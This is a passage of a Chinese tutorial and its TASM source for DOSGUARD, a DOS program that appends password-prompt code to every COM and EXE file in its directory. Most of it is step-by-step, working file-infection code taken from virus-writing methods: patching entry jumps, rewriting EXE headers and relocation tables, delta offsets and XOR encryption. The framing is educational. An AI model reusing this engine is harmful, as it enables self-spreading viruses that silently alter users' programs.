  mov  cx, offset ENDGUARD - offset COMGUARD
  int  21h

  mov  ax, 4200h    ;指针移至文件头部
  xor  cx, cx      ; 以写入跳转
  xor   dx, dx
  int  21h

  ;准备好将要写入文件头部的跳转指令
  xor  ax, ax
  mov  byte ptr [bytes], 0E9h  ; jmp的操作码
  mov  ax, ds:[009Ah]    ;文件大小
  sub  ax, 3      ;跳转指令的大小
  mov  word ptr [bytes + 1], ax;跳转的大小

  ;写入跳转
  mov  cx, 5;      ;要写入的大小
  mov  dx, offset bytes
  mov  ax, 4000h
  int  21h

  mov  ah, 3Eh      ;关闭文件
  int  21h

  ret

;-------------------------------------------------------------------------
;修改EXE文件的子程序
;-------------------------------------------------------------------------
INFECT_EXE:

  ;检查重定位指针表看是否还有空间
  ;如果没有空间我们就得自己制造些空间.
  mov  ax, word ptr [exehead+8];头大小(一段计)
  add  ax, ax                  ;
  add  ax, ax                  ;转化为双字.
  sub  ax, word ptr [exehead+6];减去双字大小的各个项目总和数
  add  ax, ax                  ;然后
  add  ax, ax                  ;将最后结果转化为字节数.
  sub  ax, word ptr [exehead+24];如果减去重定位表的偏移地之后
  cmp  ax, 8                    ;仍有8字节剩余
  jc  NOROOM                   ;那说明还有空间.
  jmp  HAVEROOM

NOROOM:
  ;从定位表中没有空间所以我们要向表中
  ;增加一段.因此,我们必须读入重定位表后的整个文件
  ;并将它们写回内存中向下偏移一个段大小的地方.
  xor  cx, cx                  ;将文件指针指向
  mov  dx, word ptr [exehead+24]  ;重定位表尾部.
  mov  ax, word ptr [exehead+6];以双字计的重定位表大小
  add  ax, ax                  ;* 4得到字节数
  add  ax, ax
  add  dx, ax                  ;将结果加入表起始处
  push  dx
  mov  ax, 4200h
  int  21h

  pop     dx
  call  CALC_SIZE
  cmp  cx, 1
  je  LASTPAGE

  mov  dx, offset buffer
  call  READ_PAGE
  mov  dx, offset para
  call  READ_PARA
  call  DECFP_PAGE
  call  WRITE_PAGE
  call  MOVE_PARA
  dec  cx
  cmp  cx, 1
  je  LASTPAGE

MOVELOOP:
  mov  dx, offset buffer + 16
  call  READ_PAGE
  call  DECFP_PAGE
  call  WRITE_PAGE
  call  MOVE_PARA
  dec  cx
  cmp  cx, 1
  jne  MOVELOOP

LASTPAGE:
  sub  word ptr [lps], 16
  mov  cx, word ptr [lps]
  mov  dx, offset buffer + 16
  mov  ah, 3Fh
  int  21h
  push   cx
  mov  dx, cx
  neg  dx
  mov  cx, -1
  mov  ax, 4201h
  int  21h
  pop  cx
  add  cx, 16
  mov  dx, offset buffer
  mov  ah, 40h
  int  21h

  ;因为以后要用,必须调整文件大小
  add  word ptr cs:[9Ah], 16
  adc  word ptr cs:[9Ch], 0

  ;EXE头内部的头部大小值增1
  add  word ptr cs:[exehead+8], 1

  ;改变EXE头中Page Count和Last Page大小
  cmp  word ptr [exehead+2], 496
  jae  ADDPAGE
  add  word ptr [exehead+2], 16
  jmp  HAVEROOM

ADDPAGE:
  ;如果16个多于字节越到了新的一页,
  ;就调整头部增加一页.
  inc  word ptr [exehead+4]
  mov  ax, 512
  sub  ax, word ptr [exehead+2]
  mov  dx, 16
  sub  dx, ax
  mov  word ptr [exehead+2], dx

HAVEROOM:
  mov  ax, word ptr [exehead+14] ;保存原堆栈段
  mov  [hosts], ax
  mov  ax, word ptr [exehead+16] ;保存原堆栈指针
  mov  [hosts+2], ax
  mov  ax, word ptr [exehead+20] ;保存原ip
  mov  [hostc], ax
  mov  ax, word ptr [exehead+22] ;保存原cs
  mov  [hostc+2], ax

  mov  cx, word ptr cs:[9Ch]   ;调整文件长度到段的
  mov  dx, word ptr cs:[9Ah]   ;边界
  or  dl, 0Fh
  add  dx, 1
  adc  cx, 0
  mov  cs:[9Ch], cx
  mov  cs:[9Ah], dx
  mov  ax, 4200h    ;文件指针移到文件尾部
  int  21h                     ;加上边界

  mov  cx, offset ENDGUARD2 - offset EXEGUARD  ;代码写入
  mov  dx, offset EXEGUARD                     ;exe文件尾部
  mov  ah, 40h
  int  21h

  xor  cx, cx      ;指针移至文件头部
  xor  dx, dx
  mov  ax, 4200h
  int  21h

  ;调整EXE头部然后写回
  mov  ax, word ptr cs:[9Ah]  ;计算模块CS
  mov  dx, word ptr cs:[9Ch]      ;ax:dx包含了原文件大小
  mov  cx, 16                  ;CS=文件大小/16-头大小
  div  cx
  sub  ax, word ptr [exehead+8];头大小
  mov  word ptr [exehead+22], ax ;ax是现在的初始cs
  mov  word ptr [exehead+14], ax ;ax是现在的初始ss
  mov  word ptr [exehead+20], 0  ;初始ip
  mov  word ptr [exehead+16], offset ENDGUARD2 - offset EXEGUARD + 100h ;初始sp

  mov  dx, word ptr cs:[9Ch]  ;计算新的文件大小
  mov  ax, word ptr cs:[9Ah]
  add  ax, offset ENDGUARD2 - offset EXEGUARD + 200h
  adc  dx, 0
  mov  cx, 200h
  div  cx
  mov  word ptr [exehead+4], ax
  mov  word ptr [exehead+2], dx
  add  word ptr [exehead+6], 2

  mov  cx, 1Ch      ;写入新的头部
  mov  dx, offset exehead
  mov  ah, 40h
  int  21h

  ;修改重定位表
  mov  ax, word ptr [exehead+6];得到重定位表的数目#
  dec  ax                      ;增加表的位置等于
  dec  ax                      ;(#-2)*4+表的偏移
  mov  cx, 4
  mul   cx
  add  ax, word ptr [exehead+24]
  adc  dx, 0
  mov  cx, dx
  mov  dx, ax
  mov  ax, 4200h               ;文件指针移至位置
  int  21h

  ;将exe头作为重定位表的一个缓冲.
  ;将两个指针放入缓冲,第一个指向hosts的ss
  ;第二个指向hostc中的cs.
  mov  word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
  mov  ax, word ptr [exehead+22]
  mov  word ptr [exehead+2], ax
  mov  word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
  mov  word ptr [exehead+6], ax
  mov  cx, 8
  mov  dx, offset exehead
  mov  ah, 40h             ;写8个字节.
  int  21h
  mov  ah, 3Eh                 ;关闭文件.
  int  21h

  ret                             ;完成!

;-------------------------------------------------------------------------
;计算需要写入的大小的子过程
;-------------------------------------------------------------------------
CALC_SIZE:
  ;dx中存有我们要读取的文件中的开始位置.
  ;这样,要读入的和写回的大小就等于文件大小
  ;减去dx.

  mov  cx, word ptr [exehead+2]
  mov  word ptr [lps], cx     ;拷贝Last Page Size到lps
  mov  cx, word ptr [exehead+4];拷贝Num Pages到cx

  cmp  dx, word ptr [lps]      ;如果要减去的字节数比
  jbe  FINDLPS                 ;lps小就让两者相减然后退出
  mov  ax, dx
  xor  dx, dx
  mov  cx, 512
  div  cx      ;ax=要减去的页
  mov  cx, word ptr [exehead+4];dx=要从lps减去的余数
  sub  cx, ax
  cmp  dx, word ptr [lps]
  jbe  FINDLPS
  sub  cx, 1
  mov  ax, dx
  sub  ax, word ptr [lps]
  mov  dx, 512
  sub  dx, ax

FINDLPS:
  sub  word ptr [lps], dx      ;减去其实位置而保持
          ;Num Pages不变

  ret
;-------------------------------------------------------------------------
;读取EXE头部的子过程
;-------------------------------------------------------------------------
READ_HEADER:
  xor  cx, cx                  ;将文件指针移回到
  xor  dx, dx                  ;文件开始
  mov  ax, 4200h
  int   21h
  mov  cx, 1Ch      ;读取文件头(28字节)
  mov  dx, offset exehead  ;到内存
  mov  ah, 3Fh
  int  21h

  ret        ;cf设置恰当后返回

;-------------------------------------------------------------------------
;读取一页的子过程
;-------------------------------------------------------------------------
READ_PAGE:
  push  ax
  push  cx

  mov  ah, 3Fh
  mov  cx, 512
  int  21h

  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;读取一段的子过程
;-------------------------------------------------------------------------
READ_PARA:
  push  ax
  push  cx

  mov  ah, 3Fh
  mov  cx, 16
  int  21h

  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;写入一页的子过程
;-------------------------------------------------------------------------
WRITE_PAGE:
  push  ax
  push  cx
  push  dx

  mov  ah, 40h
  mov  cx, 512
  mov  dx, offset buffer
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;写入一段的子过程
;-------------------------------------------------------------------------
WRITE_PARA:
  push  ax
  push  cx
  push  dx

  mov  ah, 40h
  mov  cx, 16
  mov  dx, offset buffer
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;将文件指针向后移动一页的子过程
;-------------------------------------------------------------------------
DECFP_PAGE:
  push  ax
  push  cx
  push  dx

  mov  ax, 4201h
  mov  cx, -1
  mov  dx, -512
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;将文件指针向后移动一段的子过程
;-------------------------------------------------------------------------
DEC_PARA:
  push  ax
  push  cx
  push  dx

  mov  ax, 4201h
  mov  cx, -1
  mov  dx, -16
  int  21h

  pop  dx
  pop  cx
  pop  ax

  ret

;-------------------------------------------------------------------------
;将段缓存移到前面的子过程
;-------------------------------------------------------------------------
MOVE_PARA:
  push   cx

  mov  si, offset para
  mov  di, offset buffer
  mov  cx, 16
  rep  movsb

  pop  cx

  ret

;-------------------------------------------------------------------------
;要加入到COM文件中的代码
;-------------------------------------------------------------------------
COMGUARD:
  call  GET_START

GET_START:
  pop  bp
  sub  bp, offset GET_START

  mov  ah, 9h       ;DOS现实字符串功能
  lea  dx, [bp + prompt]       ;显示密码提示
  int  21h
  lea  di, [bp + guess]
  xor  cx, cx

READLOOP:
  mov   ah, 7h      ;无回应的读取
  int  21h
  inc  cx                      ;输入的字符的个数
  stosb                           ;存储猜测字符串供以后比较使用
  cmp  cx, 10                  ;限制猜测字符串在10个字符(包含CR)
  je  CHECKPASS
  cmp  al, 13                  ;读到CR结束循环
  jne  READLOOP

CHECKPASS:
  lea  di, [bp + guess]  ;准备验证密码循环
  lea  si, [bp +passwd]        ;准备cmpsb的地址
  xor  cx, cx                  ;计数器置0
  cld                             ;告知cmpsb对si和di增1

CHECKLOOP:
  cmpsb                           ;将密码和猜测字符串比较
  jne  FAIL                    ;密码错误就退出程序
  inc  cx      ;增1记数
  cmp  cx, 8                   ;只校验前8个字符
  jne  CHECKLOOP               ;循环至前8个字符读完

SUCCESS:
  mov  cx, 5
  cld
  lea  si, [bp + obytes]
  mov  di, 100h
  rep  movsb
  push  100h      ;由跳转返回去执行
  ret                             ;主程序

FAIL:
  mov  ah, 9h      ;DOS显示字符串功能
  lea  dx, [bp + badpass]      ;显示密码错误信息
  int  21h
  mov  ax, 4C00h
  int  21h

prompt  DB  'password: ','$'
badpass  DB  'Invalid password!','$'
passwd  DB   'smcrocks'
guess  DB  10 dup (0)
obytes  DB  0,0,0,0,0

;-------------------------------------------------------------------------
;加(解)密com文件的代码
;-------------------------------------------------------------------------
COMCRYPT:                              ;简单的xor加密算法
  lodsb
  xor  al, dl
  stosb
  loop  COMCRYPT

  ret

comkey  DB  1Fh

ENDGUARD:

;-------------------------------------------------------------------------
;要加入到EXE文件中的代码
;-------------------------------------------------------------------------
EXEGUARD:
  push  ax      ;将ax的开始值保存
  push   ds      ;保存ds的值
  mov  ax, cs                  ;将cs放入ds和es
  mov  ds, ax
  mov  es, ax
  jmp  DECRYPT
;-----------------------------
;加(解)密com文件的代码
;-----------------------------
EXECRYPT:        ;简单的xor加密算法
  lodsb
  xor  al, dl
  stosb
  loop  EXECRYPT

  ret
;-----------------------------
DECRYPT:
  mov  di, bp      ;计算ENCRYPTED2的地址
  sub  di, ENDGUARD2 - ENCRYPTED2
  lea  si, [di]                ;设置si和di为加密代码的
  mov  di, si                  ;地址.
  mov  dl, [bp-2]              ;读取加密密钥
  mov  cx, ENDENC - ENCRYPTED2 ;计算要解密的总数
  call  EXECRYPT                ;Decrypt

ENCRYPTED2:
  mov  ax, [bp-4]

  mov  ah, 9h       ;DOS显示字符串功能
  lea  dx, [bp-57]    ;显示密码提示
  int  21h
  lea  di, [bp-20]
  xor  cx, cx

EREADLOOP:
  mov   ah, 7h      ;无回应的读取
  int  21h
  inc  cx                      ;输入的字符的个数
  stosb                           ;存储猜测字符串供以后比较使用
  cmp  cx, 10                  ;限制猜测字符串在10个字符(包含CR)
  je  ECHECKPASS
  cmp  al, 13                  ;读到CR结束循环
  jne  EREADLOOP

ECHECKPASS:
  lea  di, [bp-20]       ;准备验证密码循环
  lea  si, [bp-28]        ;准备cmpsb的地址
  xor  cx, cx                  ;计数器置0
  cld                             ;告知cmpsb对si和di增1

ECHECKLOOP:
  cmpsb                           ;将密码和猜测字符串比较
  jne  EFAIL                    ;密码错误就退出程序
  inc  cx      ;增1记数
  cmp  cx, 8                   ;只校验前8个字符
  jne  ECHECKLOOP              ;循环至前8个字符读完

ESUCCESS:
  pop  ds
  mov  ax, ds
  mov  es, ax
  pop  ax

  cli
  mov  ss, word ptr cs:[bp-10]
  mov  sp, word ptr cs:[bp-8]
  sti

         xor  cx, cx
  xor  dx, dx
  xor  bp, bp
  xor  si, si
  xor  di, di
  lahf
  xor   ah, ah
  sahf

  jmp  dword ptr cs:[ENDGUARD2-EXEGUARD-6]

EFAIL:
  mov  ah, 9h      ;DOS显示字符串功能
  lea  dx, [bp-46]    ;显示密码错误信息
  int  21h
  mov  ax, 4C00h
  int  21h

eprompt  DB  'password: ','$'
ebadpass DB  'Invalid password!','$'
epasswd  DB   'smcrocks'
eguess  DB  10 dup (0)
hosts  DW  0, 0
hostc  DW  0, 0
delta  DW  0

ENDGUARD2:

filter1  DB  '*.com',0
filter2 DB      '*.exe',0
bytes  DB  0,0,0,'CG'
exehead DB  28 dup (0)
buffer  DB  512 dup (0)
para  DB  16 dup (0)
lps  DW  0

END START
/*aal注:下面的内容跟上面差不多 :D */
根据学习和编写Dosguard所学到的东西而来的DOS文件修改教程.

::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::.................................扩展DOS可执行文件
                                                           作者 Digital Alchemist

这篇文章的背景原因是想要演示最初由病毒编写者发明的技术如何可以用于"善良"的目的.我的观点是所

有的知识都是好的,
当然病毒知识也不例外.我将引导你开发一个叫做DOSGUARD的程序,它会善意的修改DOS可执行文件,包

括COM和EXE.
DOSGUARD描述

DOSGUARD是我编写的一个用于对我的计算机上的某些程序访问进行限制的DOS COM程序,它将修改同一

目录下其他所有
COM和EXE文件的代码段,向其添加代码要求用户输入密码才能继续执行程序.

DOSGUARD,对于这篇文章来说已经足够,也可以使用用户友好领域的一些技术,需要加入更多的用户反馈

信息和更好的制定那
些文件要被修改的方法.另外,我还写了另一个版本的DOSGUARD,它使用简单的xor加密技术来提高安全性.

DOSGUARD是使用turbo assembler编写的.

和EXE文件格式不同,程序员没有COM文件段格式的输入口.所有的COM文件都只包含一个段,数据和代码
之间没有定义分界.DOS做好一些准备工作后,COM文件就在偏移100h处载入.前256个字节是众所周知的
程序段前缀(Program Segment Prefix,PSP).偏移80h处是一个叫做数据交换区(Data Transfer Area,DTA)的重要数
据结构.DTA很重要,而对PSP的其余大部分,程序员都可以不去管.在实际开始执行COM程序之前,DOS在段

的顶部设置
堆栈(最高的内存地址).

COM文件修改的大体过程
---------------------------
1.打开文件读取前5个字节.
2.确认文件真的不是一个EXE文件,因为DOS 6.0以后一些".com"结尾的文件实际也是EXE文件.
3.通过验证第4个和第5个字节是否与COMGUARD的表示字符串"CG"相吻合来判断文件是否已经被

COMGUARD修改过.
4.确认文件不是太大--COMGUARD将自己的代码填入后,它的大小不能超过64k的段大小.
5.如果文件通过了2-4的检验,那么表示可以修改,所以COMGUARD将自己的实现验证代码加入到文件尾部.
6.计算跳转到验证代码的大小,然后将跳转指令和标识字符串加入文件头部.

我会按照这些步骤在详细一些的走一遍,并在必要的地方给出代码片断.DOSGUARD的完整代码可以在文章

最后或者在我的
网页上找到.希望这些注释足以解释清楚我没有详细讨论的任何部分.

从本质上讲,DOSGUARD修改COM文件的方法就是在文件头部插入一个跳转时期直接先运行到位于文件尾

部的密码验证部分
的代码.如果密码正确就恢复被跳转指令和标志字符串改写的前5个字节,并执行程序,就好像COMGUARD从

来不曾存在过一
样.

COM文件修改-步骤1
-------------------------
一旦我们找到了一个COM文件,第一件事就是打开它.然后,经过对文件进行一些测试我们就能够确定它是

不是可以修改.但
首先,我们必须先读前5个字节因为我们一会会需要它.

  mov  ax, 3D02h    ;以R/W方式打开文件
  mov  dx, 9Eh      ;文件名,存在了DTA中
  int  21h
  mov  bx, ax      ;文件句柄存入bx
  mov  ax, 3F00h    ;从文件中读取前5个字节
  mov  cx, 5
  mov  dx, offset obytes
  int  21h

COM文件修改-步骤2
-------------------------
DOS 6.0以后,一些以COM为后缀的文件实际上也是EXE文件.比如COMMAND.COM就是其中一例.如果我们

像COM文件一样修改
EXE文件,事情可能就麻烦了.为了防止这一点,我们必须确认字符串"MZ"没有出现在文件的最前2个字节."

MZ"是告诉DOS文
件是EXE的标志字符串.

  ;校验看看文件是不是实际上是一个EXE文件
  cmp  word ptr[obytes], 'ZM'
  je NOINFECT

COM文件修改-步骤3
-------------------------
如果文件以前被DOSGUARD修改过,那么它的第4和第5个字节就会包含标志字符串"CG",我们得确认必须略

过包含有这样的
标志字符串的文件.

  ;检验,看文件是够已经被修改过了
  ;如果是,跳过
  cmp  word ptr [obytes + 3], 'GC'
  je  NOINFECT

COM文件修改-步骤4
-------------------------
另一个得小心的事就是文件的大小.如果假如我们的代码时文件会越过一个段,那么文件就太大了,不能被修

改.

  ;确定文件不是太大
  mov  ax, ds:[009Ah]    ;文件大小
  add  ax, offset ENDGUARD - offset COMGUARD + 100h
  jc  NOINFECT    ;如果ax溢出就不再修改

COM文件修改-步骤5
-------------------------
如果文件是一个合适的修改对象,那么我们就简单的将我们的代码加入到文件尾部.同样我们必须在我们的

代码中保存原
来文件中的前5个字节.而对于DOSGUARD,这5个字节已经保存在了一个适当的地方,因为"obytes"就包含在

我们将要写入的
代码中.

  xor  cx, cx                  ;cx = 0
  xor   dx, dx      ;dx = 0
  mov  ax, 4202h    ;文件指针指向文件尾部
  int  21h

  mov  ax, 4000h    ;将代码写入文件尾部
  mov  dx, offset COMGUARD
  mov  cx, offset ENDGUARD - offset COMGUARD
  int  21h

COM文件修改-步骤6
-------------------------
最后一步就是计算跳转到我们的代码处的长度,然后将跳转的操作码和标志字符串覆盖到文件最开始的前5

个字节.

mov  ax, 4200h    ;指针移至文件头部
  xor  cx, cx      ; 以写入跳转
  xor   dx, dx
  int  21h

  ;准备好将要写入文件头部的跳转指令
  xor  ax, ax
  mov  byte ptr [bytes], 0E9h  ; jmp的操作码
  mov  ax, ds:[009Ah]    ;文件大小
  sub  ax, 3      ;跳转指令的大小
  mov  word ptr [bytes + 1], ax;跳转的大小

  ;写入跳转
  mov  cx, 5;      ;要写入的大小
  mov  dx, offset bytes
  mov  ax, 4000h
  int  21h

  mov  ah, 3Eh      ;关闭文件
  int  21h

插入代码要负的责任
--------------------------------
有两个问题在加入的代码中必须处理.第一,因为代码可能位于段内的任意偏移处,所以不可能依靠所编译的

数据标签的绝
对地址.要解决这个问题,我们使用计算机病毒编写者所谓的Delta偏移量(Delta Offset).Delta偏移量实际的和编

译数据
地址之间的差.任何时间我们的代码访问内存数据时它都在数据的编译地址上加一个Delta偏移量.下面的代

码用来找到
Delta偏移量.

  call  GET_START
        GET_START:
  pop  bp
  sub  bp, offset GET_START

那个call将当前的ip压入堆栈,那也是标签"GET_START"的实际地址,再从实际地址中减去编译地址我们就得

到了Delta偏移
量.

第二个问题就是从我们的条转返回执行主程序前必须恢复已存储的主程序前5个字节.

EXE文件的结构
----------------------
EXE文件格式比COM文件格式复杂得多.很大的一个不同就是EXE文件允许程序它自己指定想要如何在内
存中分布各个段,这使程序能够超过一个段64k的大小.大部分EXE都有分开的代码,数据和堆栈段.

所有这些信息都存储在EXE头部.下面是一个文件头部大体概要.

偏移        大小        域
  0        2          Signature.  总是 'MZ'.
  2          2         Last Page Size.  最后一个内存页的字节数.
  4          2          Page Count.  文件中512字节页的个数.
  6          2          Relocation Table Entries. 重定位指针表中的项目个数.
  8          2          Header Size.  段中的头的大小,包括重定位指针表.
  10         2          Minalloc
  12          2          Maxalloc
  14         2          Initial Stack Segment.
  16          2          Initial Stack Pointer.
  18          2          Checksum.  (通常都被忽略)
  20          2          Initial Instruction Pointer
  22          2          Initial Code Segment
  24          2          Relocation Table Offset.  重定位指针表的偏移地址.
  26          2          Overlay Number.  主执行文件(我们要修改的那个) 通常将此设为0.

EXE文件头部以后就是重定位指针表,还有头部和表头之间一段不定大小的空白空间.重定位表是包含一堆
偏移地址的表.这些地址加上由DOS计算出来的起始段值指向内存中一个字,它是最后的段地址被写入的地
方.本质上讲,重定位指针表是DOS处理物理内存中段的动态偏移的方法.这对COM文件来说不是个问题,因
为只有一个段,程序不用考虑其它东西.重定位指针表后面又是一段不定大小的保留空间,最后是文件主体.

要成功的向EXE文件中添加代码需要对EXE文件头部和重定位指针表小心的操作.

EXE文件修改的大体过程
----------------------
1.打开文件读取前2个字节(DOSGUARD实际上读取5个字节).
2.检查EXE文件签名标识"MZ".
3.读取EXE头部.
4.检查文件以前是否被修改了.
5.确认Overlay Number是0.
6.确认文件是一个DOS下的EXE文件.
7.如果文件通过了2-6步,所名它可以被修改,第一步就是检查重定位指针表中仍有空间加入2个指针.如果有

空间,跳到步
骤9.
8.如果重定位指针表中没有足够的空间,那么DOSGUARD就得自己制造空间:它读入重定位表后的整个文件,

并将它写入到
内存中高一个段大小的地址的地方.
9.保存原来的ss,sp,cs,和ip.
10.调整文件长度对齐到段落边界.
11.将代码写入文件尾部.
12.调整EXE头部适应新的起始段和文件大小.
13.写入文件头.
14.修改重定位指针表.

理解EXE文件修改最容易的方法就是想象我们在文件尾部加入了一个完整的COM文件.我们的代码占用的

是位于主文件
最后的属于自己的段.就像COM文件中一样,这个段用来作为代码段数据段和堆栈段.不用插入一个跳转来

运行到那里,我们
只需简单的将EXE文件头部的起始段值改为指向我们的段.

EXE文件修改-步骤1
-------------------------
同COM文件一样,除了实际上我们需要的是前两个字节.对于EXE文件我们有不同的方法来确认是否已经修

改(我试着不使用
病毒术语"感染")和将执行权交给我们的程序.

EXE文件修改-步骤2
-------------------------
检查前两个字节是否是EXE标志"MZ",如果文件不是以"MZ"开始,那么它是一个DOS下的EXE文件.

  cmp  word ptr[obytes], 'ZM'
  je   EXE

EXE文件修改-步骤3
-------------------------
这里DOSGUARD只是简单的将EXE的头部读取到一个28字节的缓存.一会我们会对头部作一些必要的修改

并将它写回来.
  xor  cx, cx                  ;将文件指针移回到
  xor  dx, dx                  ;文件开始
  mov  ax, 4200h
  int   21h
  mov  cx, 1Ch      ;读取文件头(28字节)
  mov  dx, offset exehead  ;到内存
  mov  ah, 3Fh
  int  21h
EXE文件修改-步骤4
-------------------------
我们不用签名标识字符串来标明EXE文件,而是比较代码入口点和文件大小的关系.如果文件以前被
DOSGUARD修改过,那么从文件尾部到文件入口点的距离应该等于DOSGUARD所加入的代码的长度,用数
学表达式说明就是这样:

(初始CS*16)+(DOSGUARD加入的代码的大小)+头大小

将会等于文件的大小.初始CS乘以16当然是代码的入口点,还得加上头大小,因为它不和其他代码和数据一
起被载入内存.

;确认文件没有被修改过
  ;如果 (初始CS*16)+9Fh+EXE文件头的大小(字节计)==文件大小
  ;那说明文件已经被修改过
  mov  ax, word ptr [exehead+22]
  mov  dx, 16
  mul  dx
  add  ax, offset ENDGUARD2 - offset EXEGUARD
  adc  dx, 0
  mov  cx, word ptr [exehead+8]
  add  cx, cx
  add  cx, cx
  add  cx, cx
  add  cx, cx
  add  ax, cx
  adc  dx, 0
  cmp  ax, word ptr cs:[9Ah]
  jne  EXEOK
  cmp  dx, word ptr cs:[9Ch]
  je  NO_INFECT

EXE文件修改-步骤5
-------------------------
另外一个简单的测试是必须得确认EXE头部中的Overlay Number值是0,这很简单.
;确认Overlay Number是0
  cmp  word ptr [exehead+26], 0
  jnz  NO_INFECT

EXE文件修改-步骤6
-------------------------
这部分就有些烦人了.有许多EXE后缀的文件实际上都不是DOS可执行文件.比如Windows和OS/2都是用这
个后缀,复杂的地方就在于,没有一个简单的方法自动区分DOS的EXE文件和其他EXE文件.我在DOSGUARD
中使用的技术是检验重定位指针表的偏移地址,确认它大于40h.这通常来说能够检测出Windows和OS/2程序,
可是有时对合法的DOS文件也会发出假警报.

;确认这是一个DOS EXE文件(而非windows或OS/2文件)
  cmp  word ptr [exehead+24], 40h
  jae  NO_INFECT

EXE文件修改-步骤7
-------------------------
因为已经确认有了一个可以修改的文件,下面就得确认若要修改是非常容易还是特别困难.是这样的.重定位
指针表通常都是16的倍数,表中的每个指针都占4个字节.为了达到我们的目的,需要向表中加入两个指针,也
就是说表必须还有至少8个字节的剩余才能不改变现在的大小.如果没有多余的两个指针的空间,我们就不
得不自己制造空间了.也就是说我们读入表后的整个文件并将它们向后退出16个字节表空间再写回.

为了验证是否有空间,我们所要做的就是将重定位指针表的偏移地址和表中的已有项目数量从头大小中减
去,结果就得到了表中剩余空间大小.这些信息可以在手工打造的不错的EXE文件头部中得到.当然还得考虑
每个值计量时的单位(字节,段等等)

  ;检查重定位指针表看是否还有空间
  ;如果没有空间我们就得自己制造些空间.
  mov  ax, word ptr [exehead+8];头大小(一段计)
  add  ax, ax                  ;
  add  ax, ax                  ;转化为双字.
  sub  ax, word ptr [exehead+6];减去双字大小的各个项目总和数
  add  ax, ax                  ;然后
  add  ax, ax                  ;将最后结果转化为字节数.
  sub  ax, word ptr [exehead+24];如果减去重定位表的偏移地之后
  cmp  ax, 8                    ;仍有8字节剩余
  jc  NOROOM                   ;那说明还有空间.
  jmp  HAVEROOM

EXE文件修改-步骤8
-------------------------
首先要做的就是将文件指针移到正确地点--就是重定位指针表最后一项后面.

  xor  cx, cx                  ;将文件指针指向
  mov  dx, word ptr [exehead+24]  ;重定位表尾部.
  mov  ax, word ptr [exehead+6];以双字计的重定位表大小
  add  ax, ax                  ;* 4得到字节数
  add  ax, ax
  add  dx, ax                  ;将结果加入表起始处
  push  dx
  mov  ax, 4200h
  int  21h

然后DOSGUARD计算需要写入的总量.实现这个功能的代码在函数CALC_SIZE中.CALC_SIZE调用结束后,
cx将会保存着页的数量,而"lps"保存着最后一页的大小,因为它很有可能不是一个512字节页.

;dx中存有我们要读取的文件中的开始位置.
  ;这样,要读入的和写回的大小就等于文件大小
  ;减去dx.

  mov  cx, word ptr [exehead+2]
  mov  word ptr [lps], cx     ;拷贝Last Page Size到lps
  mov  cx, word ptr [exehead+4];拷贝Num Pages到cx

  cmp  dx, word ptr [lps]      ;如果要减去的字节数比
  jbe  FINDLPS                 ;lps小就让两者相减然后退出
  mov  ax, dx
  xor  dx, dx
  mov  cx, 512
  div  cx      ;ax=要减去的页
  mov  cx, word ptr [exehead+4];dx=要从lps减去的余数
  sub  cx, ax
  cmp  dx, word ptr [lps]
  jbe  FINDLPS
  sub  cx, 1
  mov  ax, dx
  sub  ax, word ptr [lps]
  mov  dx, 512
  sub  dx, ax

FINDLPS:
  sub  word ptr [lps], dx      ;减去其实位置而保持
          ;Num Pages不变

一旦知道了要写入的代码的大小后,就得开始移动了,必须想一个从同一个文件中同步读写还不会覆盖未读

取数据的方法.DOSGUARD的解决方法是使用一个16字节的缓存.DOSGUARD的循环移动中每次循环都会读
出528个字节而写出512个字节.也就是说,它读取的内容比它要写入的提前16个字节,这样未读取内容就不会
被覆盖了.DOSGUARD包含了几个读写页,读写段和来回移动指针的函数,还包含了一个将528个字节缓存中

的最后16个字节移动到内存最前端的函数.好了,是停止唠叨看看这个循环移动的代码时候了.

  mov  dx, offset buffer
  call  READ_PAGE
  mov  dx, offset para
  call  READ_PARA
  call  DECFP_PAGE
  call  WRITE_PAGE
  call  MOVE_PARA
  dec  cx
  cmp  cx, 1
  je  LASTPAGE

MOVELOOP:
  mov  dx, offset buffer + 16
  call  READ_PAGE
  call  DECFP_PAGE
  call  WRITE_PAGE
  call  MOVE_PARA
  dec  cx
  cmp  cx, 1
  jne  MOVELOOP

当DOSGUARD到达最后一页的时候,它是这样来完成结束工作的:读取最后一页的内容再加上循环移动中上
次那个循环中剩下的16个字节一起写回去.

LASTPAGE:
  sub  word ptr [lps], 16
  mov  cx, word ptr [lps]
  mov  dx, offset buffer + 16
  mov  ah, 3Fh
  int  21h
  push   cx
  mov  dx, cx
  neg  dx
  mov  cx, -1
  mov  ax, 4201h
  int  21h
  pop  cx
  add  cx, 16
  mov  dx, offset buffer
  mov  ah, 40h
  int  21h

最后一项,但不是最次要的,还得做些保养工作.

;因为以后要用,必须调整文件大小
  add  word ptr cs:[9Ah], 16
  adc  word ptr cs:[9Ch], 0

  ;EXE头内部的头部大小值增1
  add  word ptr cs:[exehead+8], 1

  ;改变EXE头中Page Count和Last Page大小
  cmp  word ptr [exehead+2], 496
  jae  ADDPAGE
  add  word ptr [exehead+2], 16
  jmp  HAVEROOM

哦,好了,还有另外一种情况得在这里处理,如果最后一页几乎都要满了(496字节或更多),那么向文件中加入
16个字节将会溢出那一页,所以必须增加整个一页新页.

ADDPAGE:
  ;如果16个多于字节越到了新的一页,
  ;就调整头部增加一页.
  inc  word ptr [exehead+4]
  mov  ax, 512
  sub  ax, word ptr [exehead+2]
  mov  dx, 16
  sub  dx, ax
  mov  word ptr [exehead+2], dx

EXE文件修改-步骤9
-------------------------
呼!第8步可真够厉害的,但现在我们就要结束了.第9步所需要的就是为我们的修改对象保存原来的段值.
DOSGUARD依照在EXE头部找到它们的次序存储它们.

  mov  ax, word ptr [exehead+14] ;保存原堆栈段
  mov  [hosts], ax
  mov  ax, word ptr [exehead+16] ;保存原堆栈指针
  mov  [hosts+2], ax
  mov  ax, word ptr [exehead+20] ;保存原ip
  mov  [hostc], ax
  mov  ax, word ptr [exehead+22] ;保存原cs
  mov  [hostc+2], ax

EXE文件修改-步骤10
